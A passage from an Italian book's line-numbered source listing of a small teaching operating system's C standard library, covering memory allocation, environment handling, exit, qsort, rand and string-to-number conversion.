2890021         sig_previous != SIG_ERR)
2890022       {
2890023         signal (SIGABRT, sig_previous);
2890024       }
2890025     //
2890026     // Get current process ID and sent the signal.
2890027     //
2890028     pid = getpid ();
2890029     kill (pid, SIGABRT);
2890030     //
2890031     // Second chance
2890032     //
2890033     for (;;)
2890034       {
2890035         signal (SIGABRT, SIG_DFL);
2890036         pid = getpid ();
2890037         kill (pid, SIGABRT);
2890038       }
2890039 }
```

106.10.3 lib/stdlib/abs.c

Si veda la sezione 99.3.

```
2900001 #include <stdlib.h>
2900002 //----------------------------------------------------------------------
2900003 int
2900004 abs (int j)
2900005 {
2900006     if (j < 0)
2900007       {
2900008         return -j;
2900009       }
2900010     else
2900011       {
2900012         return j;
2900013       }
2900014 }
```

106.10.4 lib/stdlib/alloc.c

Si veda la sezione 99.66.

```
2910001 #include <stdlib.h>
2910002 #include <string.h>
2910003 #include <errno.h>
2910004 #include <limits.h>
2910005 #include <stdio.h>
2910006 //----------------------------------------------------------------------
2910007 #define MEMORY_BLOCK_SIZE       1024
2910008 //----------------------------------------------------------------------
2910009 static char     _alloc_memory[LONG_BIT][MEMORY_BLOCK_SIZE];   // [1]
2910010 static size_t   _alloc_size[LONG_BIT];                        // [2]
2910011 static long int _alloc_map;                                   // [3]
2910012 //
2910013 // [1] Memory to be allocated.
2910014 // [2] Sizes allocated.
2910015 // [3] Memory block map. The memory map is made of a single integer and
2910016 //     the rightmost bit is the first memory block.
2910017 //----------------------------------------------------------------------
2910018 void *
2910019 malloc (size_t size)
2910020 {
2910021     size_t   size_free;   // Size free found that might be allocated.
2910022     int      m;           // Index inside '_alloc_memory[][]' table.
2910023     int      s;           // Start index for a free memory area.
2910024     long int mask;        // Mask to compare with '_alloc_map'.
2910025     long int alloc;       // New allocation map.
2910026     //
2910027     // Check for arguments.
2910028     //
2910029     if (size == 0)
2910030       {
2910031         return (NULL);
2910032       }
2910033     //
2910034     for (s = 0, m = 0; m < LONG_BIT; m++)
2910035       {
2910036         mask = 1;
2910037         mask <<= m;
2910038         //
2910039         if (_alloc_map & mask)
2910040           {
2910041             //
2910042             // The memory block is not free.
2910043             //
2910044             s         = m + 1;
2910045             size_free = 0;
2910046             alloc     = 0;
2910047           }
2910048         else
2910049           {
```

```
2910050                 alloc      |= mask;
2910051                 size_free += MEMORY_BLOCK_SIZE;
2910052               }
2910053             if (size_free >= size)
2910054               {
2910055                 //
2910056                 // Space found: update `_alloc_size[]' table, the map inside
2910057                 // `_alloc_map' and return the memory address.
2910058                 //
2910059                 _alloc_size[s] = size_free;
2910060                 _alloc_map    |= alloc;
2910061                 return ((void *) &_alloc_memory[s][0]);
2910062               }
2910063           }
2910064         //
2910065         // No space left.
2910066         //
2910067         errset (ENOMEM);                    // Not enough space.
2910068         //
2910069         return (NULL);
2910070     }
2910071     //----------------------------------------------------------------------
2910072     void
2910073     free (void *address)
2910074     {
2910075         size_t   size_free;  // Size to make free.
2910076         int      m;          // Index inside `_alloc_memory[][]' table.
2910077         int      s;          // Start index.
2910078         long int mask;       // Mask to compare with `_alloc_map'.
2910079         long int alloc;      // New allocation map.
2910080         //
2910081         // Check argument.
2910082         //
2910083         if (address == NULL)
2910084           {
2910085             return;
2910086           }
2910087         //
2910088         // Find the original allocated address inside `_alloc_memory[][]'
2910089         // table.
2910090         //
2910091         for (m = 0; m < LONG_BIT; m++)
2910092           {
2910093             if (address == (void *) &_alloc_memory[m][0])
2910094               {
2910095                 //
2910096                 // This is the right memory block.
2910097                 //
2910098                 if (_alloc_size[m] == 0)
2910099                   {
2910100                     //
2910101                     // The block found is not allocated.
```

```
2910102                 //
2910103                 return;
2910104               }
2910105             else
2910106               {
2910107                 //
2910108                 // Build the map of the memory to set free.
2910109                 //
2910110                 size_free = _alloc_size[m];
2910111                 for (alloc = 0, s = m;
2910112                      size_free > 0 && s < LONG_BIT;
2910113                      size_free -= MEMORY_BLOCK_SIZE, s++)
2910114                   {
2910115                     mask   = 1;
2910116                     mask <<= s;
2910117                     alloc |= mask;
2910118                   }
2910119                 //
2910120                 // Compare the map of memory to be freed with the
2910121                 // reality allocated one, then free the memory.
2910122                 //
2910123                 if ((_alloc_map & alloc) == alloc)
2910124                   {
2910125                     _alloc_map    &= ~alloc;
2910126                     _alloc_size[m] = 0;
2910127                     return;
2910128                   }
2910129                 //
2910130                 // The real map does not report the same amount of
2910131                 // allocated memory, so nothing is freed.
2910132                 //
2910133                 return;
2910134               }
2910135           }
2910136       }
2910137     //
2910138     // Address not allocated.
2910139     //
2910140     return;
2910141 }
2910142 //------------------------------------------------------------------------
2910143 void *
2910144 realloc (void *address, size_t size)
2910145 {
2910146     char  *address_new;
2910147     char  *address_old = (char *) address;
2910148     size_t size_old    = 0;
2910149     size_t size_new    = size;
2910150     int    m;                     // Index inside the memory table;
2910151     //
2910152     // Check arguments.
2910153     //
```

```
2910154     if (size == 0)              return (NULL);
2910155     if (address == NULL)        return (malloc (size));
2910156     //
2910157     // Locate original allocation.
2910158     //
2910159     for (m = 0; m < LONG_BIT; m++)
2910160       {
2910161         if (address_old == (char *) &_alloc_memory[m][0])
2910162           {
2910163             size_old = _alloc_size[m];
2910164             break;
2910165           }
2910166       }
2910167     //
2910168     // Check if a valid size was found.
2910169     //
2910170     if (size_old == 0)
2910171       {
2910172         //
2910173         // Address not found or size not valid.
2910174         //
2910175         return (NULL);
2910176       }
2910177     //
2910178     // Allocate the new memory.
2910179     //
2910180     address_new = malloc (size);
2910181     //
2910182     // Check allocation. If there is an error, the variable 'errno'
2910183     // is already updated by 'malloc()'.
2910184     //
2910185     if (address_new == NULL)
2910186       {
2910187         return (NULL);
2910188       }
2910189     //
2910190     // Copy old memory.
2910191     //
2910192     for (; size_old > 0 && size_new > 0;
2910193          size_old--, size_new--, address_new++, address_old++)
2910194       {
2910195        *address_new = *address_old;
2910196       }
2910197     //
2910198     // Free old memory.
2910199     //
2910200     free (address);
2910201     //
2910202     // Return the new address.
2910203     //
2910204     return (address_new);
2910205 }
```

```
2910206 //----------------------------------------------------------------------
```

106.10.5 lib/stdlib/atexit.c

Si veda la sezione 99.4.

```
2920001 #include <stdlib.h>
2920002 #include <stdio.h>
2920003 //----------------------------------------------------------------------
2920004 atexit_t _atexit_table[ATEXIT_MAX];
2920005 //----------------------------------------------------------------------
2920006 void
2920007 _atexit_setup (void)
2920008 {
2920009     int a;
2920010     //
2920011     for (a = 0; a < ATEXIT_MAX; a++)
2920012       {
2920013         _atexit_table[a] = NULL;
2920014       }
2920015 }
2920016 //----------------------------------------------------------------------
2920017 int
2920018 atexit (atexit_t function)
2920019 {
2920020     int a;
2920021     //
2920022     if (function == NULL)
2920023       {
2920024         return (-1);
2920025       }
2920026     //
2920027     for (a = 0; a < ATEXIT_MAX; a++)
2920028       {
2920029         if (_atexit_table[a] == NULL)
2920030           {
2920031             _atexit_table[a] = function;
2920032             return (0);
2920033           }
2920034       }
2920035     //
2920036     return (-1);
2920037 }
```

106.10.6 lib/stdlib/atoi.c

Si veda la sezione 99.5.

```
2930001 #include <stdlib.h>
2930002 #include <ctype.h>
2930003 //----------------------------------------------------------------------
2930004 int
2930005 atoi (const char *string)
2930006 {
2930007     int i;
2930008     int sign = +1;
2930009     int number;
2930010     //
2930011     for (i = 0; isspace (string[i]); i++)
2930012       {
2930013         ;
2930014       }
2930015     //
2930016     if (string[i] == '+')
2930017       {
2930018         sign = +1;
2930019         i++;
2930020       }
2930021     else if (string[i] == '-')
2930022       {
2930023         sign = -1;
2930024         i++;
2930025       }
2930026     //
2930027     for (number = 0; isdigit (string[i]); i++)
2930028       {
2930029         number *= 10;
2930030         number += (string[i] - '0');
2930031       }
2930032     //
2930033     number *= sign;
2930034     //
2930035     return number;
2930036 }
```

106.10.7 lib/stdlib/atol.c

Si veda la sezione 99.5.

```
2940001 #include <stdlib.h>
2940002 #include <ctype.h>
2940003 //----------------------------------------------------------------------
2940004 long int
2940005 atol (const char *string)
2940006 {
```

```
2940007     int      i;
2940008     int      sign = +1;
2940009     long int number;
2940010     //
2940011     for (i = 0; isspace (string[i]); i++)
2940012       {
2940013         ;
2940014       }
2940015     //
2940016     if (string[i] == '+')
2940017       {
2940018         sign = +1;
2940019         i++;
2940020       }
2940021     else if (string[i] == '-')
2940022       {
2940023         sign = -1;
2940024         i++;
2940025       }
2940026     //
2940027     for (number = 0; isdigit (string[i]); i++)
2940028       {
2940029         number *= 10;
2940030         number += (string[i] - '0');
2940031       }
2940032     //
2940033     number *= sign;
2940034     //
2940035     return number;
2940036 }
```

106.10.8 lib/stdlib/div.c

Si veda la sezione 99.15.

```
2950001 #include <stdlib.h>
2950002 //----------------------------------------------------------------------
2950003 div_t
2950004 div (int numer, int denom)
2950005 {
2950006     div_t d;
2950007     d.quot = numer / denom;
2950008     d.rem = numer % denom;
2950009     return d;
2950010 }
```

106.10.9 lib/stdlib/environment.c

Si veda la sezione 102.1.

```
2960001 #include <stdlib.h>
2960002 #include <string.h>
2960003 //----------------------------------------------------------------------
2960004 // This file contains a non standard definition, related to the
2960005 // environment handling.
2960006 //
2960007 // The file 'crt0.s', before calling the main function, calls the
2960008 // function '_environment_setup(), that is responsible for initializing
2960009 // the array '_environment_table[][]' and for copying the content
2960010 // of the environment, as it comes from the 'exec()' system call.
2960011 //
2960012 // The pointers to the environment strings organised inside the
2960013 // array '_environment_table[][]', are also copied inside the
2960014 // array of pointers '_environment[]'.
2960015 //
2960016 // After all that is done, inside 'crt0.s', the pointer to
2960017 // '_environment[]' is copied to the traditional variable 'environ'
2960018 // and also to the previous value of the pointer variable 'envp'.
2960019 //
2960020 // This way, applications will get the environment, but organised
2960021 // inside the table '_environment_table[][]'. So, functions like
2960022 // 'getenv()' and 'setenv()' do know where to look for.
2960023 //
2960024 // It is useful to notice that there is no prototype and no extern
2960025 // declaration inside the file <stdlib.h>, about this function
2960026 // and these arrays, because applications do not have to know about
2960027 // it.
2960028 //
2960029 // Please notice that 'environ' could be just the same as
2960030 // '_environment' here, but the common use puts 'environ' inside
2960031 // <unistd.h>, although for this implementation it should be better
2960032 // placed inside <stdlib.h>.
2960033 //
2960034 //----------------------------------------------------------------------
2960035 char  _environment_table[ARG_MAX/32][ARG_MAX/16];
2960036 char *_environment[ARG_MAX/32+1];
2960037 //----------------------------------------------------------------------
2960038 void
2960039 _environment_setup (char *envp[])
2960040 {
2960041     int e;
2960042     int s;
2960043     //
2960044     // Reset the '_environment_table[][]' array.
2960045     //
2960046     for (e = 0; e < ARG_MAX/32; e++)
2960047       {
2960048         for (s = 0; s < ARG_MAX/16; s++)
2960049           {
```

```
2960050                _environment_table[e][s] = 0;
2960051              }
2960052          }
2960053        //
2960054        // Set the '_environment[]' pointers. The final extra element must
2960055        // be a NULL pointer.
2960056        //
2960057        for (e = 0; e < ARG_MAX/32 ; e++)
2960058          {
2960059            _environment[e] = _environment_table[e];
2960060          }
2960061        _environment[ARG_MAX/32] = NULL;
2960062        //
2960063        // Copy the environment inside the array, but only if 'envp' is
2960064        // not NULL.
2960065        //
2960066        if (envp != NULL)
2960067          {
2960068            for (e = 0; envp[e] != NULL && e < ARG_MAX/32; e++)
2960069              {
2960070                strncpy (_environment_table[e], envp[e], (ARG_MAX/16)-1);
2960071              }
2960072          }
2960073    }
```

106.10.10 lib/stdlib/exit.c

Si veda la sezione 99.4.

```
2970001    #include <stdlib.h>
2970002    #include <stdio.h>
2970003    //----------------------------------------------------------------------
2970004    extern atexit_t _atexit_table[];
2970005    //----------------------------------------------------------------------
2970006    void
2970007    exit (int status)
2970008    {
2970009        int a;
2970010        //
2970011        // The "at exit" functions must be called in reverse order.
2970012        //
2970013        for (a = (ATEXIT_MAX - 1); a >= 0; a--)
2970014          {
2970015            if (_atexit_table[a] != NULL)
2970016              {
2970017                (*_atexit_table[a]) ();
2970018              }
2970019          }
2970020        //
2970021        // Now: really exit.
2970022        //
```

```
2970023     _Exit (status);
2970024     //
2970025     // Should not return from system call, but if it does, loop
2970026     // forever:
2970027     //
2970028     while (1);
2970029 }
```

106.10.11 lib/stdlib/getenv.c

Si veda la sezione 99.51.

```
2980001 #include <stdlib.h>
2980002 #include <string.h>
2980003 //----------------------------------------------------------------------
2980004 extern char *_environment[];
2980005 //----------------------------------------------------------------------
2980006 char *
2980007 getenv (const char *name)
2980008 {
2980009     int   e;        // First index: environment table items.
2980010     int   f;        // Second index: environment string scan.
2980011     char *value;    // Pointer to the environment value found.
2980012     //
2980013     // Check if the input is valid. No error is reported.
2980014     //
2980015     if (name == NULL || strlen (name) == 0)
2980016       {
2980017         return (NULL);
2980018       }
2980019     //
2980020     // Scan the environment table items, with index 'e'. The pointer
2980021     // 'value' is initialized to NULL. If the pointer 'value' gets a
2980022     // valid  pointer, the environment variable was found and a
2980023     // pointer to the beginning of its value is available.
2980024     //
2980025     for (value = NULL, e = 0; e < ARG_MAX/32; e++)
2980026       {
2980027         //
2980028         // Scan the string of the environment item, with index 'f'.
2980029         // The scan continue until 'name[f]' and '_environment[e][f]'
2980030         // are equal.
2980031         //
2980032         for (f = 0;
2980033              f < ARG_MAX/16-1 && name[f] == _environment[e][f];
2980034              f++)
2980035           {
2980036             ; // Just scan.
2980037           }
2980038         //
2980039         // At this point, 'name[f]' and '_environment[e][f]' are
```

```
2980040            // different: if ‘name[f]’ is zero the name string is
2980041            // terminated; if ‘_environment[e][f]’ is also equal to ‘=’,
2980042            // the environment item is corresponding to the requested name.
2980043            //
2980044            if (name[f] == 0 && _environment[e][f] == '=')
2980045              {
2980046                //
2980047                // The pointer to the beginning of the environment value is
2980048                // calculated, and the external loop exit.
2980049                //
2980050                value = &_environment[e][f+1];
2980051                break;
2980052              }
2980053          }
2980054        //
2980055        // The ‘value’ is returned: if it is still NULL, then, no
2980056        // environment variable with the requested name was found.
2980057        //
2980058        return (value);
2980059  }
```

106.10.12 lib/stdlib/labs.c

Si veda la sezione 99.3.

```
2990001  #include <stdlib.h>
2990002  //----------------------------------------------------------------------
2990003  long int
2990004  labs (long int j)
2990005  {
2990006      if (j < 0)
2990007        {
2990008          return -j;
2990009        }
2990010      else
2990011        {
2990012          return j;
2990013        }
2990014  }
```

106.10.13 lib/stdlib/ldiv.c

Si veda la sezione 99.15.

```
3000001  #include <stdlib.h>
3000002  //----------------------------------------------------------------------
3000003  ldiv_t
3000004  ldiv (long int numer, long int denom)
3000005  {
```

```
3000006     ldiv_t d;
3000007     d.quot = numer / denom;
3000008     d.rem = numer % denom;
3000009     return d;
3000010 }
```

106.10.14 lib/stdlib/putenv.c

Si veda la sezione 99.82.

```
3010001 #include <stdlib.h>
3010002 #include <string.h>
3010003 #include <errno.h>
3010004 //----------------------------------------------------------------------
3010005 extern char *_environment[];
3010006 //----------------------------------------------------------------------
3010007 int
3010008 putenv (const char *string)
3010009 {
3010010     int   e;        // First index: environment table items.
3010011     int   f;        // Second index: environment string scan.
3010012     //
3010013     // Check if the input is empty. No error is reported.
3010014     //
3010015     if (string == NULL || strlen (string) == 0)
3010016       {
3010017         return (0);
3010018       }
3010019     //
3010020     // Check if the input is valid: there must be a '=' sign.
3010021     // Error here is reported.
3010022     //
3010023     if (strchr (string, '=') == NULL)
3010024       {
3010025         errset(EINVAL);                   // Invalid argument.
3010026         return (-1);
3010027       }
3010028     //
3010029     // Scan the environment table items, with index 'e'. The intent is
3010030     // to find a previous environment variable with the same name.
3010031     //
3010032     for (e = 0; e < ARG_MAX/32; e++)
3010033       {
3010034         //
3010035         // Scan the string of the environment item, with index 'f'.
3010036         // The scan continue until 'string[f]' and '_environment[e][f]'
3010037         // are equal.
3010038         //
3010039         for (f = 0;
3010040              f < ARG_MAX/16-1 && string[f] == _environment[e][f];
3010041              f++)
```

```
3010042             {
3010043               ; // Just scan.
3010044             }
3010045           //
3010046           // At this point, 'string[f-1]' and '_environment[e][f-1]'
3010047           // should contain '='. If it is so, the environment is replaced.
3010048           //
3010049           if (string[f-1] == '=' && _environment[e][f-1] == '=')
3010050             {
3010051               //
3010052               // The environment item was found: now replace the pointer.
3010053               //
3010054               _environment[e] = string;
3010055               //
3010056               // Return.
3010057               //
3010058               return (0);
3010059             }
3010060         }
3010061       //
3010062       // The item was not found. Scan again for a free slot.
3010063       //
3010064       for (e = 0; e < ARG_MAX/32; e++)
3010065         {
3010066           if (_environment[e] == NULL || _environment[e][0] == 0)
3010067             {
3010068               //
3010069               // An empty item was found and the pointer will be
3010070               // replaced.
3010071               //
3010072               _environment[e] = string;
3010073               //
3010074               // Return.
3010075               //
3010076               return (0);
3010077             }
3010078         }
3010079       //
3010080       // Sorry: the empty slot was not found!
3010081       //
3010082       errset (ENOMEM);              // Not enough space.
3010083       return (-1);
3010084 }
```

106.10.15 lib/stdlib/qsort.c

Si veda la sezione 99.84.

```
3020001 #include <stdlib.h>
3020002 #include <string.h>
3020003 #include <errno.h>
3020004 //----------------------------------------------------------------------
3020005 static int  part (char *array, size_t size, int a, int z,
3020006                   int (*compare)(const void *, const void *));
3020007 static void sort (char *array, size_t size, int a, int z,
3020008                   int (*compare)(const void *, const void *));
3020009 //----------------------------------------------------------------------
3020010 void
3020011 qsort (void *base, size_t nmemb, size_t size,
3020012        int (*compare)(const void *, const void *))
3020013 {
3020014     if (size <= 1)
3020015       {
3020016         //
3020017         // There is nothing to sort!
3020018         //
3020019         return;
3020020       }
3020021     else
3020022       {
3020023         sort ((char *) base, size, 0, (int) (nmemb - 1), compare);
3020024       }
3020025 }
3020026 //----------------------------------------------------------------------
3020027 static void
3020028 sort (char *array, size_t size, int a, int z,
3020029       int (*compare)(const void *, const void *))
3020030 {
3020031     int loc;
3020032     //
3020033     if (z > a)
3020034       {
3020035         loc = part (array, size, a, z, compare);
3020036         if (loc >= 0)
3020037           {
3020038             sort (array, size, a, loc-1, compare);
3020039             sort (array, size, loc+1, z, compare);
3020040           }
3020041       }
3020042 }
3020043 
3020044 //----------------------------------------------------------------------
3020045 static int
3020046 part (char *array, size_t size, int a, int z,
3020047       int (*compare)(const void *, const void *))
3020048 {
3020049     int   i;
```

```
3020050     int   loc;
3020051     char *swap;
3020052     //
3020053     if (z <= a)
3020054       {
3020055         errset (EUNKNOWN);       // Should never happen.
3020056         return (-1);
3020057       }
3020058     //
3020059     // Index 'i' after the first element; index 'loc' at the last
3020060     // position.
3020061     //
3020062     i   = a + 1;
3020063     loc = z;
3020064     //
3020065     // Prepare space in memory for element swap.
3020066     //
3020067     swap = malloc (size);
3020068     if (swap == NULL)
3020069       {
3020070         errset (ENOMEM);
3020071         return (-1);
3020072       }
3020073     //
3020074     // Loop as long as index 'loc' is higher than index 'i'.
3020075     // When index 'loc' is less or equal to index 'i',
3020076     // then, index 'loc' is the right position for the
3020077     // first element of the current piece of array.
3020078     //
3020079     for (;;)
3020080       {
3020081         //
3020082         // Index 'i' goes up...
3020083         //
3020084         for (;i < loc; i++)
3020085           {
3020086             if  (compare (&array[i*size], &array[a*size]) > 0)
3020087               {
3020088                 break;
3020089               }
3020090           }
3020091         //
3020092         // Index 'loc' gose down...
3020093         //
3020094         for (;; loc--)
3020095           {
3020096             if  (compare (&array[loc*size], &array[a*size]) <= 0)
3020097               {
3020098                 break;
3020099               }
3020100           }
3020101         //
```

```
3020102         // Swap elements related to index 'i' and 'loc'.
3020103         //
3020104         if (loc <= i)
3020105           {
3020106             //
3020107             // The array is completely scanned.
3020108             //
3020109             break;
3020110           }
3020111         else
3020112           {
3020113             memcpy (swap, &array[loc*size], size);
3020114             memcpy (&array[loc*size], &array[i*size], size);
3020115             memcpy (&array[i*size], swap, size);
3020116           }
3020117       }
3020118     //
3020119     // Swap the first element with the one related to the
3020120     // index 'loc'.
3020121     //
3020122     memcpy (swap, &array[loc*size], size);
3020123     memcpy (&array[loc*size], &array[a*size], size);
3020124     memcpy (&array[a*size], swap, size);
3020125     //
3020126     // Free the swap memory.
3020127     //
3020128     free (swap);
3020129     //
3020130     // Return the index 'loc'.
3020131     //
3020132     return (loc);
3020133 }
3020134
```

106.10.16 lib/stdlib/rand.c

Si veda la sezione 99.85.

```
3030001 #include <stdlib.h>
3030002 //----------------------------------------------------------------------
3030003 static unsigned int _srand = 1; // The '_srand' rank must be at least
3030004                                 // 'unsigned int' and must be able to
3030005                                 // represent the value 'RAND_MAX'.
3030006 //----------------------------------------------------------------------
3030007 int
3030008 rand (void)
3030009 {
3030010     _srand = _srand * 12345 + 123;
3030011     return _srand % ((unsigned int) RAND_MAX + 1);
3030012 }
3030013 //----------------------------------------------------------------------
```

```
3030014 void
3030015 srand (unsigned int seed)
3030016 {
3030017     _srand = seed;
3030018 }
```

106.10.17 lib/stdlib/setenv.c

Si veda la sezione 99.94.

```
3040001 #include <stdlib.h>
3040002 #include <string.h>
3040003 #include <errno.h>
3040004 //----------------------------------------------------------------------
3040005 extern char *_environment[];
3040006 extern char *_environment_table[];
3040007 //----------------------------------------------------------------------
3040008 int
3040009 setenv (const char *name, const char *value, int overwrite)
3040010 {
3040011     int   e;         // First index: environment table items.
3040012     int   f;         // Second index: environment string scan.
3040013     //
3040014     // Check if the input is empty. No error is reported.
3040015     //
3040016     if (name == NULL || strlen (name) == 0)
3040017       {
3040018         return (0);
3040019       }
3040020     //
3040021     // Check if the input is valid: error here is reported.
3040022     //
3040023     if (strchr (name, '=') != NULL)
3040024       {
3040025         errset(EINVAL);                   // Invalid argument.
3040026         return (-1);
3040027       }
3040028     //
3040029     // Check if the input is too big.
3040030     //
3040031     if ((strlen (name) + strlen (value) + 2) > ARG_MAX/16)
3040032       {
3040033         //
3040034         // The environment to be saved is bigger than the
3040035         // available string size, inside `_environment_table[]'.
3040036         //
3040037         errset (ENOMEM);                  // Not enough space.
3040038         return (-1);
3040039       }
3040040     //
3040041     // Scan the environment table items, with index `e'. The intent is
```

```
3040042      // to find a previous environment variable with the same name.
3040043      //
3040044      for (e = 0; e < ARG_MAX/32; e++)
3040045        {
3040046          //
3040047          // Scan the string of the environment item, with index 'f'.
3040048          // The scan continue until 'name[f]' and '_environment[e][f]'
3040049          // are equal.
3040050          //
3040051          for (f = 0;
3040052               f < ARG_MAX/16-1 && name[f] == _environment[e][f];
3040053               f++)
3040054            {
3040055              ; // Just scan.
3040056            }
3040057          //
3040058          // At this point, 'name[f]' and '_environment[e][f]' are
3040059          // different: if 'name[f]' is zero the name string is
3040060          // terminated; if '_environment[e][f]' is also equal to '=',
3040061          // the environment item is corresponding to the requested name.
3040062          //
3040063          if (name[f] == 0 && _environment[e][f] == '=')
3040064            {
3040065              //
3040066              // The environment item was found; if it can be overwritten,
3040067              // the write is done.
3040068              //
3040069              if (overwrite)
3040070                {
3040071                  //
3040072                  // To be able to handle both 'setenv()' and 'putenv()',
3040073                  // before removing the item, it is fixed the pointer to
3040074                  // the global environment table.
3040075                  //
3040076                  _environment[e] = _environment_table[e];
3040077                  //
3040078                  // Now copy the new environment. The string size was
3040079                  // already checked.
3040080                  //
3040081                  strcpy (_environment[e], name);
3040082                  strcat (_environment[e], "=");
3040083                  strcat (_environment[e], value);
3040084                  //
3040085                  // Return.
3040086                  //
3040087                  return (0);
3040088                }
3040089              //
3040090              // Cannot overwrite!
3040091              //
3040092              errset (EUNKNOWN);
3040093              return (-1);
```

```
3040094                }
3040095            }
3040096        //
3040097        // The item was not found. Scan again for a free slot.
3040098        //
3040099        for (e = 0; e < ARG_MAX/32; e++)
3040100          {
3040101            if (_environment[e] == NULL || _environment[e][0] == 0)
3040102              {
3040103                //
3040104                // An empty item was found. To be able to handle both
3040105                // 'setenv()' and 'putenv()', it is fixed the pointer to
3040106                // the global environment table.
3040107                //
3040108                _environment[e] = _environment_table[e];
3040109                //
3040110                // Now copy the new environment. The string size was
3040111                // already checked.
3040112                //
3040113                strcpy (_environment[e], name);
3040114                strcat (_environment[e], "=");
3040115                strcat (_environment[e], value);
3040116                //
3040117                // Return.
3040118                //
3040119                return (0);
3040120              }
3040121          }
3040122        //
3040123        // Sorry: the empty slot was not found!
3040124        //
3040125        errset (ENOMEM);              // Not enough space.
3040126        return (-1);
3040127    }
```

106.10.18 lib/stdlib/strtol.c

Si veda la sezione 99.121.

```
3050001    #include <stdlib.h>
3050002    #include <ctype.h>
3050003    #include <errno.h>
3050004    #include <limits.h>
3050005    #include <stdbool.h>
3050006    //----------------------------------------------------------------------
3050007    #define isoctal(C)   ((int) (C >= '0' && C <= '7'))
3050008    //----------------------------------------------------------------------
3050009    long int
3050010    strtol (const char *restrict string, char **restrict endptr, int base)
3050011    {
3050012        int       i;
```

```
3050013     int      sign = +1;
3050014     long int number;
3050015     long int previous;
3050016     int      digit;
3050017     //
3050018     bool     flag_prefix_oct = 0;
3050019     bool     flag_prefix_exa = 0;
3050020     bool     flag_prefix_dec = 0;
3050021     //
3050022     // Check base and string.
3050023     //
3050024     if (base < 0
3050025      || base > 36
3050026      || base == 1               // With base 1 cannot do anything.
3050027      || string == NULL
3050028      || string[0] == 0)
3050029       {
3050030         if (endptr != NULL) *endptr = string;
3050031         errset (EINVAL);                // Invalid argument.
3050032         return ((long int) 0);
3050033       }
3050034     //
3050035     // Eat initial spaces.
3050036     //
3050037     for (i = 0; isspace (string[i]); i++)
3050038       {
3050039         ;
3050040       }
3050041     //
3050042     // Check sign.
3050043     //
3050044     if (string[i] == '+')
3050045       {
3050046         sign = +1;
3050047         i++;
3050048       }
3050049     else if (string[i] == '-')
3050050       {
3050051         sign = -1;
3050052         i++;
3050053       }
3050054     //
3050055     // Check for prefix.
3050056     //
3050057     if (string[i] == '0')
3050058       {
3050059         if (string[i+1] == 'x' || string[i+1] == 'X')
3050060           {
3050061             flag_prefix_exa = 1;
3050062           }
3050063         else if (isoctal (string[i+1]))
3050064           {
```

```
3050065                 flag_prefix_oct = 1;
3050066               }
3050067             else
3050068               {
3050069                 flag_prefix_dec = 1;
3050070               }
3050071           }
3050072         else if (isdigit (string[i]))
3050073           {
3050074             flag_prefix_dec = 1;
3050075           }
3050076         //
3050077         // Check compatibility with requested base.
3050078         //
3050079         if (flag_prefix_exa)
3050080           {
3050081             //
3050082             // At the moment, there is a zero and a 'x'. Might be
3050083             // exadecimal, or might be a number base 33 or more.
3050084             //
3050085             if (base == 0)
3050086               {
3050087                 base = 16;
3050088               }
3050089             else if (base == 16)
3050090               {
3050091                 ;   // Ok.
3050092               }
3050093             else if (base >= 33)
3050094               {
3050095                 ;   // Ok.
3050096               }
3050097             else
3050098               {
3050099                 //
3050100                 // Incompatible sequence: only the initial zero is reported.
3050101                 //
3050102                 if (endptr != NULL) *endptr = &string[i+1];
3050103                 return ((long int) 0);
3050104               }
3050105             //
3050106             // Move on, after the '0x' prefix.
3050107             //
3050108             i += 2;
3050109           }
3050110         //
3050111         if (flag_prefix_oct)
3050112           {
3050113             //
3050114             // There is a zero and a digit.
3050115             //
3050116             if (base == 0)
```

```
3050117                 {
3050118                   base = 8;
3050119                 }
3050120               //
3050121               // Move on, after the ‘0’ prefix.
3050122               //
3050123               i += 1;
3050124             }
3050125           //
3050126           if (flag_prefix_dec)
3050127             {
3050128               if (base == 0)
3050129                 {
3050130                   base = 10;
3050131                 }
3050132             }
3050133           //
3050134           // Scan the string.
3050135           //
3050136           for (number = 0; string[i] != 0; i++)
3050137             {
3050138               if      (string[i] >= '0' && string[i] <= '9')
3050139                 {
3050140                   digit = string[i] - '0';
3050141                 }
3050142               else if (string[i] >= 'A' && string[i] <= 'Z')
3050143                 {
3050144                   digit = string[i] - 'A' + 10;
3050145                 }
3050146               else if (string[i] >= 'a' && string[i] <= 'z')
3050147                 {
3050148                   digit = string[i] - 'a' + 10;
3050149                 }
3050150               else
3050151                 {
3050152                   //
3050153                   // This is an out of range digit.
3050154                   //
3050155                   digit = 999;
3050156                 }
3050157               //
3050158               // Give a sign to the digit.
3050159               //
3050160               digit *= sign;
3050161               //
3050162               // Compare with the base.
3050163               //
3050164               if (base > (digit * sign))
3050165                 {
3050166                   //
3050167                   // Check if the current digit can be safely computed.
3050168                   //
```

```
3050169                 previous = number;
3050170                 number  *= base;
3050171                 number  += digit;
3050172                 if (number / base != previous)
3050173                   {
3050174                     //
3050175                     // Out of range.
3050176                     //
3050177                     if (endptr != NULL) *endptr = &string[i+1];
3050178                     errset (ERANGE);        // Result too large.
3050179                     if (sign > 0)
3050180                       {
3050181                         return (LONG_MAX);
3050182                       }
3050183                     else
3050184                       {
3050185                         return (LONG_MIN);
3050186                       }
3050187                   }
3050188               }
3050189             else
3050190               {
3050191                 if (endptr != NULL) *endptr = &string[i];
3050192                 return (number);
3050193               }
3050194           }
3050195         //
3050196         // The string is finished.
3050197         //
3050198         if (endptr != NULL) *endptr = &string[i];
3050199         //
3050200         return (number);
3050201     }
```

106.10.19 lib/stdlib/strtoul.c

Si veda la sezione 99.121.

```
3060001 #include <stdlib.h>
3060002 #include <ctype.h>
3060003 #include <errno.h>
3060004 #include <limits.h>
3060005 //----------------------------------------------------------------------
3060006 // A really poor implementation. ,-(
3060007 //
3060008 unsigned long int
3060009 strtoul (const char *restrict string, char **restrict endptr, int base)
3060010 {
3060011     return ((unsigned long int) strtol (string, endptr, base));
3060012 }
```

106.10.20 lib/stdlib/unsetenv.c

Si veda la sezione 99.94.

```
3070001 #include <stdlib.h>
3070002 #include <string.h>
3070003 #include <errno.h>
3070004 //----------------------------------------------------------------------
3070005 extern char *_environment[];
3070006 extern char *_environment_table[];
3070007 //----------------------------------------------------------------------
3070008 int
3070009 unsetenv (const char *name)
3070010 {
3070011     int    e;         // First index: environment table items.
3070012     int    f;         // Second index: environment string scan.
3070013     //
3070014     // Check if the input is empty. No error is reported.
3070015     //
3070016     if (name == NULL || strlen (name) == 0)
3070017       {
3070018         return (0);
3070019       }
3070020     //
3070021     // Check if the input is valid: error here is reported.
3070022     //
3070023     if (strchr (name, '=') != NULL)
3070024       {
